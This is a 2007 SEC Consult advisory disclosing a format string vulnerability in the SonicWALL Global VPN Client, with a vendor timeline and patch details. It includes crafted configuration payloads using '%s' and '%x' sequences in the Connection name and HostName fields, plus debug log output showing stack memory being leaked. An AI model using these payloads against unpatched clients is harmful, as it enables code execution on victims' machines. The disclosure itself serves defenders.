SEC Consult Security Advisory < 20071204-0 >
=====================================================================================
                  title: SonicWALL Global VPN Client Format String
Vulnerability
                program: SonicWALL Global VPN Client
     vulnerable version: < 4.0.0.830
               homepage: www.sonicwall.com
                  found: 06-12-2007
                     by: lofi42*
             perm. link: http://www.sec-consult.com/305.html
=====================================================================================

Vendor description:
---------------

The SonicWALL Global VPN Client provides mobile users with access to
mission-critical network resources by establishing secure connections to
their office network's IPSec-compliant SonicWALL VPN gateway.


Vulnerabilty overview:
---------------

SonicWALL Global VPN Client suffers from a format string vulnerability
that can be triggered by supplying a specially crafted configuration
file. This vulnerability allows an attacker to execute arbitrary code in
the context of the vulnerable client. For a successful attack, the
attacker would have to entice his victim into importing the special
configuration file.


Vulnerability details:
--------------- 

Format string errors occur when the client parses the "name" attribute
of the "Connection" tag and the content of the "Hostname" Tags in the
configuration file.

Examples:

<Connection name=%s%s%s%s> 
<HostName>%s%s%s%s</HostName>

The bugs has been verified in version 3.1.556 and beta 4.0.0.810. With
version 3.1.556 the client has to initiate a connection to trigger the
vulnerability, whereas with version 4.0.0.810, the bug can be exploited
by simply double-clicking the configuration file. This can be attributed
to the 4.0 version trying to write the imported configuration to an
extra debug log.


Proof-of-concept:
--------------- 

In 4.0.0.810, the bug can be beautifully demonstrated by supplying a
crafted config file and then viewing the debug logfile. A configuration
like this...

<Connection name=> AAAAAAAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%
x.%x 
<HostName> BBBBBBBBBB%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%
x.%x.%x.%x.%x.%x.%x 

...yields the following logfile:

----------------------< Connection name
>-----------------------------------
OnLogMessage(): 'The connection "AAAAAAAAAAe64d20.37327830.46413139.
203a3833.782b8d00.6f4c6e4f.73654d67.65676173.203a2928.65685427.
6e6f6320.7463656e.206e6f69.41414122.41414141.25414141" has been
enabled.' ''
----------------------</Connection name
>-----------------------------------
----------------------<HostName>--------------------------------------------
BBBBBBBBBB656d616e.41414120.41414141.25414141.78252e78.2e78252e.252e7825.
78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
74207825.6e61206f.20504920.72646461.2e737365.42272027.42424242.42424242'
----------------------</HostName>---------------------------------------


This vulnerability allows reading / writing to arbitrary memory
addresses within the process memory space. Exploitation is trivial under
these circumstances.


vendor status:
---------------
vendor notified: 2007-08-16
vendor response: 2007-08-29
patch available: 2007-11-26

The issue has been fixed in SonicWall VPN client 4.0.0.830.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* The vulnerabilities described above have been purchased by 
  SEC Consult from an independent security researcher.
  In the research bonus programme, SEC Consult is looking for security 
  vulnerabilities in common software products. For more information,
  contact research [at] sec-consult [dot] com